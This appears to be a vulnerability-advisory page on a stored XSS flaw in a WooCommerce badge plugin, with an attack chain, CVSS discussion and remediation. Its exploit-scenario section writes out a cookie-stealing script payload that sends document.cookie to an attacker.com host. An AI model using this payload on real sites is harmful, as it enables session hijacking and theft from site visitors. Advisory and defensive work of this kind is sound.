Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker compromises Shop Manager account
-
DeliveryAccess WordPress admin dashboard
-
ExploitInsert malicious wpcbm_best_seller shortcode into page
-
InstallPublish page containing XSS payload
-
C2Victim visits infected page
-
ExecuteJavaScript executes in victim's browser
-
ImpactAttacker steals session token or redirects to phishing site
-
Step 8Account compromise or credential theft occurs
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to possess or compromise a WordPress user account with Shop Manager role or higher (Editor, Administrator). The wpcbm_best_seller shortcode must be present or insertable in the target page (typically via page/post editor or theme template). No special plugin configuration is required-the vulnerability exists in default installations. The vulnerability is limited to authenticated users with PR:H privileges; unauthenticated remote attackers cannot directly inject payloads. Site administrators who restrict Shop Manager role assignment or implement strict code review workflows for page edits can mitigate risk. Multi-site WordPress installations where Shop Managers can edit pages site-wide face higher exposure than single-site installations. |
| Impact | CVSS 5.5 with vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N indicates moderate impact with important contextual limitations. The network attack vector and low complexity reflect that the shortcode can be injected remotely via WordPress admin interface. However, the PR:H (High Privilege) requirement is a significant bottleneck-exploitation requires Shop Manager role or above, which is not typically granted to untrusted users. The lack of user interaction (UI:N) means no social engineering is needed once a malicious page is created. Scope:Changed indicates the impact affects other users viewing the page, not just the attacker. The real-world risk is lower than CVSS suggests due to the authentication barrier: this primarily threatens multi-user WordPress installations where Shop Managers are used but not fully trusted, or where account compromise of a Shop Manager has occurred. Without EPSS score or KEV status provided, estimated exploitation likelihood is low in typical single-admin sites but moderate in larger ecommerce teams. No POC public availability data was provided, further reducing immediate risk. This is a privilege-gated stored XSS-serious for its scope but not as critical as unauthenticated XSS vulnerabilities. |
| Exploit ScenarioDerived | A compromised or malicious Shop Manager logs into the WordPress admin dashboard, navigates to the page or post editor, and inserts the shortcode [wpcbm_best_seller text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] into a published page. When legitimate customers or site administrators visit that page, the injected JavaScript executes in their browsers, stealing session cookies and sending them to the attacker's server, enabling account takeover or data exfiltration. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 13, 2026
Stored Cross-Site Scripting in WPC Badge Management for WooCommerce plugin versions up to 3.1.6 allows authenticated attackers with Shop Manager-level access to inject arbitrary JavaScript via the 'text' attribute of the wpcbm_best_seller shortcode. The injected scripts execute in the browsers of any user visiting the affected page, enabling credential theft, session hijacking, or defacement. The vulnerability stems from insufficient input sanitization and output escaping in shortcode processing.
RemediationAI
Update WPC Badge Management for WooCommerce to version 3.1.7 or later. Per the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/bf02edc9-2bb6-4ceb-b2a1-63f95c8becb3?source=cve) and the plugin changeset reference (https://plugins.trac.wordpress.org/changeset/3519100/), the vulnerability was fixed by implementing proper input sanitization and output escaping in the shortcode handler at includes/class-shortcode.php line 98. As a temporary workaround for sites unable to update immediately, restrict Shop Manager role assignment to only fully trusted administrators, and audit existing Shop Manager accounts to remove any unused or compromised accounts. Additionally, implement WordPress user role management plugins to log and alert on changes to Shop Manager permissions. These workarounds do not eliminate the vulnerability but reduce the attack surface by limiting who can inject malicious shortcodes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The wpcbm_best_seller shortcode in WPC Badge Management for WooCommerce processes user-supplied input through the 'text' attribute without proper sanitization before storage in the WordPress database (stored XSS component) or escaping before rendering in the page output (reflected component). The underlying issue is CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic web application vulnerability where untrusted input is incorporated into dynamically generated HTML without appropriate encoding or filtering. The plugin is integrated into the WordPress plugin ecosystem and leverages WordPress's shortcode API (wp_add_shortcode), making it a server-side rendering context where escaping functions like esc_attr() or wp_kses_post() should have been applied.
Know when Wpc Badge Management For Woocommerce gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The WPC Badge Management for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the wpcbm_best_seller shortcode in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Missing Authorization vulnerability in WPClever WPC Badge Management for WooCommerce.4.0. Rated high severity (CVSS 8.8)
Stored Cross-Site Scripting in the WPC Badge Management for WooCommerce WordPress plugin (all versions through 3.1.6) al
EUVD-2025-209823
GHSA-vgwg-ch44-7wrj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB